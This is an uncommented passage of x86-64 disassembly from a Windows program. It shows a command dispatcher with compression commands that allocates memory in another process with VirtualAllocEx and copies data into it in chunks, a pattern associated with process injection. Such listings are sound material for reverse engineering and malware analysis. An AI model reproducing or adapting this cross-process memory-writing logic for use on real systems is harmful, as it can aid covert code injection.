lea rcx, [rsp + 0x1608]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, [0x140268fd4]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001b4a6
movsxd rax, dword [0x14031f004]
mov rcx, qword [rsp + 0x330]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0xe70], rax
mov rax, qword [rsp + 0xe70]
add rax, 8
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x368], rax
cmp qword [rsp + 0x368], 0
je 0x14001b4a1
mov rdx, qword [rsp + 0x368]
lea rcx, [rsp + 0x3030]
call fcn.1401cb220
lea rcx, [rsp + 0x2af0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x30
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x2b14], 4
jne 0x14001b4a1
mov rdx, qword [rsp + 0x368]
lea rcx, [rsp + 0xeb8]
call fcn.14000f7e0
nop
mov rax, qword [rsp + 0x368]
add rax, 0x1b8
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x238], rax
cmp qword [rsp + 0x238], 0
je 0x14001b494
mov rdx, qword [rsp + 0x238]
lea rcx, [rsp + 0x3000]
call fcn.1401cb220
lea rcx, [rsp + 0x2b20]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x30
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x2b44], 4
jne 0x14001b494
mov rax, qword [rsp + 0x238]
add rax, 0x10
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
add rax, 0x18
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x1bf8], rax
mov rax, qword [rsp + 0x238]
add rax, 0x10
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x798], rax
cmp qword [rsp + 0x798], 0
jbe 0x14001b494
mov rcx, qword [rsp + 0x238]
call fcn.14000e860
mov qword [rsp + 0xe78], rax
mov r8, qword [rsp + 0x798]
mov rdx, qword [rsp + 0xe78]
lea rcx, [rsp + 0x1998]
call fcn.14000e660
nop
lea rcx, [rsp + 0x1850]
call fcn.140004830
nop
lea rax, [rsp + 0x1998]
mov qword [rsp + 0x7a0], rax
mov rcx, qword [rsp + 0x7a0]
call fcn.1400068b0
mov qword [rsp + 0x370], rax
mov rcx, qword [rsp + 0x7a0]
call fcn.140008cd0
mov qword [rsp + 0xe80], rax
jmp 0x14001b1e2
mov rax, qword [rsp + 0x370]
inc rax
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0xe80]
cmp qword [rsp + 0x370], rax
je 0x14001b21d
mov rax, qword [rsp + 0x370]
movzx eax, byte [rax]
mov byte [rsp + 0x8f], al
movzx edx, byte [rsp + 0x8f]
lea rcx, [rsp + 0x1850]
call fcn.140004c10
jmp 0x14001b1cf
lea rdx, [rsp + 0x1850]
lea rcx, [rsp + 0x1480]
call fcn.1400fe900
nop
lea rcx, [rsp + 0x1480]
call fcn.1400244f0
mov qword [rsp + 0xe88], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0xe90], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0xe88]
xor edx, edx
mov rcx, qword [rsp + 0xe90]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x7a8], rax
lea rcx, [rsp + 0x1480]
call fcn.1400244f0
mov qword [rsp + 0xe98], rax
lea rcx, [rsp + 0x1480]
call fcn.1400159a0
mov qword [rsp + 0xea0], rax
mov r8, qword [rsp + 0xe98]
mov rdx, qword [rsp + 0xea0]
mov rcx, qword [rsp + 0x7a8]
call fcn.1400227e0
mov rax, qword [rsp + 0x7a8]
mov qword [rsp + 0x610], rax
mov qword [rsp + 0x1c00], 0
lea rcx, [rsp + 0x1480]
call fcn.1400244f0
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x378], 0
jmp 0x14001b334
mov rax, qword [rsp + 0x378]
inc rax
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x288]
sub rax, 0x30000
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x378], rax
jae 0x14001b46a
cmp qword [rsp + 0x288], 0
jbe 0x14001b46a
cmp qword [rsp + 0x288], 0x7fffffff
jae 0x14001b46a
cmp qword [rsp + 0x288], 0x30000
jbe 0x14001b38c
mov qword [rsp + 0x7b0], 0x30000
jmp 0x14001b39c
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x7b0], rax
mov rax, qword [rsp + 0x7b0]
mov qword [rsp + 0x608], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xea8], rax
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0xea8]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x600], rax
lea rdx, [rsp + 0x610]
mov rcx, qword [rsp + 0x600]
call fcn.14000ea00
mov rax, qword [rsp + 0x600]
add rax, 0x10
lea rdx, [rsp + 0x608]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x608]
or rax, 0x1f
mov qword [rsp + 0xeb0], rax
mov rax, qword [rsp + 0x600]
add rax, 0x18
lea rdx, [rsp + 0xeb0]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x608]
mov rcx, qword [rsp + 0x610]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x610], rax
jmp 0x14001b30b
lea rcx, [rsp + 0x1480]
call fcn.140010e70
nop
lea rcx, [rsp + 0x1850]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1998]
call fcn.140010e70
nop
lea rcx, [rsp + 0xeb8]
call fcn.140004490
jmp 0x14001f6f7
lea rdx, str.lz4compress
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001bb37
lea rcx, [rsp + 0x1620]
call fcn.14000fa60
nop
mov qword [rsp + 0x230], 0
jmp 0x14001b4f4
mov rax, qword [rsp + 0x230]
inc rax
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x230], rax
jae 0x14001b770
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xec0], rax
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x618], rax
cmp qword [rsp + 0x618], 0
jne 0x14001b55d
jmp 0x14001b770
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xec8], rax
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
jbe 0x14001b68c
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xed0], rax
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xed0]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov r8, qword [rsp + 0x618]
mov rdx, rax
lea rcx, [rsp + 0x19b0]
call fcn.14000e660
nop
lea rax, [rsp + 0x19b0]
mov qword [rsp + 0x7b8], rax
mov rcx, qword [rsp + 0x7b8]
call fcn.1400068b0
mov qword [rsp + 0x380], rax
mov rcx, qword [rsp + 0x7b8]
call fcn.140008cd0
mov qword [rsp + 0xed8], rax
jmp 0x14001b63f
mov rax, qword [rsp + 0x380]
inc rax
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0xed8]
cmp qword [rsp + 0x380], rax
je 0x14001b67a
mov rax, qword [rsp + 0x380]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x1620]
call fcn.1400232e0
jmp 0x14001b62c
lea rcx, [rsp + 0x19b0]
call fcn.140010e70
jmp 0x14001b76b
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xee0], rax
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xee0]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x618]
mov rdx, rax
lea rcx, [rsp + 0x19c8]
call fcn.14000e660
nop
lea rax, [rsp + 0x19c8]
mov qword [rsp + 0x7c0], rax
mov rcx, qword [rsp + 0x7c0]
call fcn.1400068b0
mov qword [rsp + 0x388], rax
mov rcx, qword [rsp + 0x7c0]
call fcn.140008cd0
mov qword [rsp + 0xee8], rax
jmp 0x14001b723
mov rax, qword [rsp + 0x388]
inc rax
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0xee8]
cmp qword [rsp + 0x388], rax
je 0x14001b75e
mov rax, qword [rsp + 0x388]
movzx eax, byte [rax]
mov byte [rsp + 0x91], al
lea rdx, [rsp + 0x91]
lea rcx, [rsp + 0x1620]
call fcn.1400232e0
jmp 0x14001b710
lea rcx, [rsp + 0x19c8]
call fcn.140010e70
jmp 0x14001b4e1
lea rdx, [0x14025c4bb]
lea rcx, [rsp + 0x1700]
call fcn.1400047d0
nop
lea rax, [rsp + 0x1620]
mov qword [rsp + 0x7c8], rax
mov rcx, qword [rsp + 0x7c8]
call fcn.1400068b0
mov qword [rsp + 0x390], rax
mov rcx, qword [rsp + 0x7c8]
call fcn.140008cd0
mov qword [rsp + 0xef0], rax
jmp 0x14001b7d4
mov rax, qword [rsp + 0x390]
inc rax
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0xef0]
cmp qword [rsp + 0x390], rax
je 0x14001b80f
mov rax, qword [rsp + 0x390]
movzx eax, byte [rax]
mov byte [rsp + 0x92], al
movzx edx, byte [rsp + 0x92]
lea rcx, [rsp + 0x1700]
call fcn.140004c10
jmp 0x14001b7c1
lea rcx, [rsp + 0x1700]
call fcn.1400057c0
inc rax
mov dword [rsp + 0x57c], eax
movsxd rax, dword [rsp + 0x57c]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1550]
call fcn.14000f5a0
nop
lea rcx, [rsp + 0x1550]
call fcn.1400057c0
mov dword [rsp + 0x580], eax
lea rcx, [rsp + 0x1700]
call fcn.1400057c0
mov dword [rsp + 0x584], eax
xor edx, edx
lea rcx, [rsp + 0x1550]
call fcn.140004b70
mov qword [rsp + 0xef8], rax
xor edx, edx
lea rcx, [rsp + 0x1700]
call fcn.140004b70
mov qword [rsp + 0xf00], rax
mov r9d, dword [rsp + 0x580]
mov r8d, dword [rsp + 0x584]
mov rdx, qword [rsp + 0xef8]
mov rcx, qword [rsp + 0xf00]
call fcn.140025550
cdqe
mov qword [rsp + 0x1c08], rax
lea rcx, [rsp + 0x1550]
call fcn.1400057c0
mov qword [rsp + 0xf08], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0xf10], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0xf08]
xor edx, edx
mov rcx, qword [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x7d0], rax
lea rcx, [rsp + 0x1550]
call fcn.1400057c0
mov qword [rsp + 0xf18], rax
lea rcx, [rsp + 0x1550]
call fcn.140008fe0
mov qword [rsp + 0xf20], rax
mov r8, qword [rsp + 0xf18]
mov rdx, qword [rsp + 0xf20]
mov rcx, qword [rsp + 0x7d0]
call fcn.1400227e0
mov rax, qword [rsp + 0x7d0]
mov qword [rsp + 0x630], rax
mov qword [rsp + 0x1c10], 0
lea rcx, [rsp + 0x1550]
call fcn.140008fe0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x398], 0
jmp 0x14001b9d3
mov rax, qword [rsp + 0x398]
inc rax
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x2a8]
sub rax, 0x30000
mov qword [rsp + 0x2a8], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x398], rax
jae 0x14001bb09
cmp qword [rsp + 0x2a8], 0
jbe 0x14001bb09
cmp qword [rsp + 0x2a8], 0x7fffffff
jae 0x14001bb09
cmp qword [rsp + 0x2a8], 0x30000
jbe 0x14001ba2b
mov qword [rsp + 0x7d8], 0x30000
jmp 0x14001ba3b
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x7d8], rax
mov rax, qword [rsp + 0x7d8]
mov qword [rsp + 0x628], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xf28], rax
mov rdx, qword [rsp + 0x398]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0xf28]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x620], rax
lea rdx, [rsp + 0x630]
mov rcx, qword [rsp + 0x620]
call fcn.14000ea00
mov rax, qword [rsp + 0x620]
add rax, 0x10
lea rdx, [rsp + 0x628]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x628]
or rax, 0x1f
mov qword [rsp + 0xf30], rax
mov rax, qword [rsp + 0x620]
add rax, 0x18
lea rdx, [rsp + 0xf30]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x630]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x630], rax
jmp 0x14001b9aa
lea rcx, [rsp + 0x1550]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1700]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1620]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, str.lz4decompress
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001c1bb
lea rcx, [rsp + 0x1638]
call fcn.14000fa60
nop
mov qword [rsp + 0x228], 0
jmp 0x14001bb85
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x228], rax
jae 0x14001be01
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xf38], rax
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf38]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x638], rax
cmp qword [rsp + 0x638], 0
jne 0x14001bbee
jmp 0x14001be01
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xf40], rax
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf40]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
jbe 0x14001bd1d
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xf48], rax
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xf48]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov r8, qword [rsp + 0x638]
mov rdx, rax
lea rcx, [rsp + 0x19e0]
call fcn.14000e660
nop
lea rax, [rsp + 0x19e0]
mov qword [rsp + 0x7e0], rax
mov rcx, qword [rsp + 0x7e0]
call fcn.1400068b0
mov qword [rsp + 0x3a0], rax
mov rcx, qword [rsp + 0x7e0]
call fcn.140008cd0
mov qword [rsp + 0xf50], rax
jmp 0x14001bcd0
mov rax, qword [rsp + 0x3a0]
inc rax
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0xf50]
cmp qword [rsp + 0x3a0], rax
je 0x14001bd0b
mov rax, qword [rsp + 0x3a0]
movzx eax, byte [rax]
mov byte [rsp + 0x93], al
lea rdx, [rsp + 0x93]
lea rcx, [rsp + 0x1638]
call fcn.1400232e0
jmp 0x14001bcbd
lea rcx, [rsp + 0x19e0]
call fcn.140010e70
jmp 0x14001bdfc
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xf58], rax
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xf58]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x638]
mov rdx, rax
lea rcx, [rsp + 0x19f8]
call fcn.14000e660
nop
lea rax, [rsp + 0x19f8]
mov qword [rsp + 0x7e8], rax
mov rcx, qword [rsp + 0x7e8]
call fcn.1400068b0
mov qword [rsp + 0x3a8], rax
mov rcx, qword [rsp + 0x7e8]
call fcn.140008cd0
mov qword [rsp + 0xf60], rax
jmp 0x14001bdb4
mov rax, qword [rsp + 0x3a8]
inc rax
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0xf60]
cmp qword [rsp + 0x3a8], rax
je 0x14001bdef
mov rax, qword [rsp + 0x3a8]
movzx eax, byte [rax]
mov byte [rsp + 0x94], al
lea rdx, [rsp + 0x94]
lea rcx, [rsp + 0x1638]
call fcn.1400232e0
jmp 0x14001bda1
lea rcx, [rsp + 0x19f8]
call fcn.140010e70
jmp 0x14001bb72
lea rdx, [0x14025c4be]
lea rcx, [rsp + 0x1720]
call fcn.1400047d0
nop
lea rax, [rsp + 0x1638]
mov qword [rsp + 0x7f0], rax
mov rcx, qword [rsp + 0x7f0]
call fcn.1400068b0
mov qword [rsp + 0x3b0], rax
mov rcx, qword [rsp + 0x7f0]
call fcn.140008cd0
mov qword [rsp + 0xf68], rax
jmp 0x14001be65
mov rax, qword [rsp + 0x3b0]
inc rax
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0xf68]
cmp qword [rsp + 0x3b0], rax
je 0x14001bea0
mov rax, qword [rsp + 0x3b0]
movzx eax, byte [rax]
mov byte [rsp + 0x95], al
movzx edx, byte [rsp + 0x95]
lea rcx, [rsp + 0x1720]
call fcn.140004c10
jmp 0x14001be52
lea rcx, [rsp + 0x1720]
call fcn.1400057c0
lea rax, [rax + rax + 9]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1570]
call fcn.14000f5a0
nop
lea rcx, [rsp + 0x1570]
call fcn.1400057c0
mov dword [rsp + 0x588], eax
lea rcx, [rsp + 0x1720]
call fcn.1400057c0
mov dword [rsp + 0x58c], eax
xor edx, edx
lea rcx, [rsp + 0x1570]
call fcn.140004b70
mov qword [rsp + 0xf70], rax
xor edx, edx
lea rcx, [rsp + 0x1720]
call fcn.140004b70
mov qword [rsp + 0xf78], rax
mov r9d, dword [rsp + 0x588]
mov r8d, dword [rsp + 0x58c]
mov rdx, qword [rsp + 0xf70]
mov rcx, qword [rsp + 0xf78]
call fcn.140025590
cdqe
mov qword [rsp + 0x1c18], rax
lea rcx, [rsp + 0x1570]
call fcn.1400057c0
mov qword [rsp + 0xf80], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0xf88], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0xf80]
xor edx, edx
mov rcx, qword [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x7f8], rax
lea rcx, [rsp + 0x1570]
call fcn.1400057c0
mov qword [rsp + 0xf90], rax
lea rcx, [rsp + 0x1570]
call fcn.140008fe0
mov qword [rsp + 0xf98], rax
mov r8, qword [rsp + 0xf90]
mov rdx, qword [rsp + 0xf98]
mov rcx, qword [rsp + 0x7f8]
call fcn.1400227e0
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x1c20], 0
lea rcx, [rsp + 0x1570]
call fcn.140008fe0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x3b8], 0
jmp 0x14001c057
mov rax, qword [rsp + 0x3b8]
inc rax
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x2b0]
sub rax, 0x30000
mov qword [rsp + 0x2b0], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x3b8], rax
jae 0x14001c18d
cmp qword [rsp + 0x2b0], 0
jbe 0x14001c18d
cmp qword [rsp + 0x2b0], 0x7fffffff
jae 0x14001c18d
cmp qword [rsp + 0x2b0], 0x30000
jbe 0x14001c0af
mov qword [rsp + 0x800], 0x30000
jmp 0x14001c0bf
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x800], rax
mov rax, qword [rsp + 0x800]
mov qword [rsp + 0x648], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xfa0], rax
mov rdx, qword [rsp + 0x3b8]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0xfa0]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x640], rax
lea rdx, [rsp + 0x650]
mov rcx, qword [rsp + 0x640]
call fcn.14000ea00
mov rax, qword [rsp + 0x640]
add rax, 0x10
lea rdx, [rsp + 0x648]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x648]
or rax, 0x1f
mov qword [rsp + 0xfa8], rax
mov rax, qword [rsp + 0x640]
add rax, 0x18
lea rdx, [rsp + 0xfa8]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x648]
mov rcx, qword [rsp + 0x650]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x650], rax
jmp 0x14001c02e
lea rcx, [rsp + 0x1570]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1720]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1638]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, [0x1402690a4]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001c8d5
lea rcx, [rsp + 0x1650]
call fcn.14000fa60
nop
lea rcx, [rsp + 0x990]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xfb0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfb0]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001c29c
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xfb8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xfb8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x2730]
call fcn.1401cb270
mov qword [rsp + 0xfc0], rax
mov rdx, qword [rsp + 0xfc0]
lea rcx, [rsp + 0x990]
call fcn.1400080b0
lea rcx, [rsp + 0x2730]
call fcn.140004ac0
jmp 0x14001c2ff
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xfc8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xfc8]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x2750]
call fcn.1401cb270
mov qword [rsp + 0xfd0], rax
mov rdx, qword [rsp + 0xfd0]
lea rcx, [rsp + 0x990]
call fcn.1400080b0
lea rcx, [rsp + 0x2750]
call fcn.140004ac0
mov qword [rsp + 0x220], 1
jmp 0x14001c320
mov rax, qword [rsp + 0x220]
inc rax
mov qword [rsp + 0x220], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x220], rax
jae 0x14001c59c
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xfd8], rax
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfd8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x658], rax
cmp qword [rsp + 0x658], 0
jne 0x14001c389
jmp 0x14001c59c
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xfe0], rax
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfe0]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001c4b8
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xfe8], rax
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xfe8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov r8, qword [rsp + 0x658]
mov rdx, rax
lea rcx, [rsp + 0x1a10]
call fcn.14000e660
nop
lea rax, [rsp + 0x1a10]
mov qword [rsp + 0x808], rax
mov rcx, qword [rsp + 0x808]
call fcn.1400068b0
mov qword [rsp + 0x3c0], rax
mov rcx, qword [rsp + 0x808]
call fcn.140008cd0
mov qword [rsp + 0xff0], rax
jmp 0x14001c46b
mov rax, qword [rsp + 0x3c0]
inc rax
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0xff0]
cmp qword [rsp + 0x3c0], rax
je 0x14001c4a6
mov rax, qword [rsp + 0x3c0]
movzx eax, byte [rax]
mov byte [rsp + 0x96], al
lea rdx, [rsp + 0x96]
lea rcx, [rsp + 0x1650]
call fcn.1400232e0
jmp 0x14001c458
lea rcx, [rsp + 0x1a10]
call fcn.140010e70
jmp 0x14001c597
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xff8], rax
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xff8]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x658]
mov rdx, rax
lea rcx, [rsp + 0x1a28]
call fcn.14000e660
nop
lea rax, [rsp + 0x1a28]
mov qword [rsp + 0x810], rax
mov rcx, qword [rsp + 0x810]
call fcn.1400068b0
mov qword [rsp + 0x3c8], rax
mov rcx, qword [rsp + 0x810]
call fcn.140008cd0
mov qword [rsp + 0x1000], rax
jmp 0x14001c54f
mov rax, qword [rsp + 0x3c8]
inc rax
mov qword [rsp + 0x3c8], rax
mov rax, qword [rsp + 0x1000]
cmp qword [rsp + 0x3c8], rax
je 0x14001c58a
mov rax, qword [rsp + 0x3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x97], al
lea rdx, [rsp + 0x97]
lea rcx, [rsp + 0x1650]
call fcn.1400232e0
jmp 0x14001c53c
lea rcx, [rsp + 0x1a28]
call fcn.140010e70
jmp 0x14001c30d
lea rdx, [0x14025c4bf]
lea rcx, [rsp + 0x1870]
call fcn.1400047d0
nop
lea rax, [rsp + 0x1650]
mov qword [rsp + 0x818], rax
mov rcx, qword [rsp + 0x818]
call fcn.1400068b0
mov qword [rsp + 0x3d0], rax
mov rcx, qword [rsp + 0x818]
call fcn.140008cd0
mov qword [rsp + 0x1008], rax
jmp 0x14001c600
mov rax, qword [rsp + 0x3d0]
inc rax
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x1008]
cmp qword [rsp + 0x3d0], rax
je 0x14001c63b
mov rax, qword [rsp + 0x3d0]
movzx eax, byte [rax]
mov byte [rsp + 0x98], al
movzx edx, byte [rsp + 0x98]
lea rcx, [rsp + 0x1870]
call fcn.140004c10
jmp 0x14001c5ed
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rdx, rax
lea rcx, [rsp + 0x3ad0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x7c], 0
jmp 0x14001c66e
mov eax, dword [rsp + 0x7c]
inc eax
mov dword [rsp + 0x7c], eax
lea rcx, [rsp + 0x990]
call fcn.1400057c0
movsxd rcx, dword [rsp + 0x7c]
cmp rcx, rax
jae 0x14001c74d
movsxd rax, dword [rsp + 0x7c]
mov rdx, rax
lea rcx, [rsp + 0x990]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x3a
jne 0x14001c6ad
jmp 0x14001c74d
lea rcx, [rsp + 0x990]
call fcn.1400057c0
mov ecx, dword [rsp + 0x7c]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14001c707
movsxd rax, dword [rsp + 0x7c]
mov rdx, rax
lea rcx, [rsp + 0x990]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001c707
mov eax, dword [rsp + 0x7c]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x990]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001c707
jmp 0x14001c74d
movsxd rax, dword [rsp + 0x7c]
mov rdx, rax
lea rcx, [rsp + 0x990]
call fcn.140004b70
movsx ax, byte [rax]
mov word [rsp + 0x2ec], ax
xor eax, eax
mov word [rsp + 0x2ee], ax
lea rdx, [rsp + 0x2ec]
lea rcx, [rsp + 0x3ad0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14001c664
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x5a8], eax
lea rcx, [rsp + 0x3ad0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x5a8]
cmp eax, ecx
jle 0x14001c8a7
mov byte [rsp + 0x4c], 1
lea rdx, [rsp + 0x3ad0]
lea rcx, [rsp + 0x2130]
call fcn.140007ba0
nop
lea rcx, [rsp + 0x2130]
call fcn.140015fb0
movzx eax, al
test eax, eax
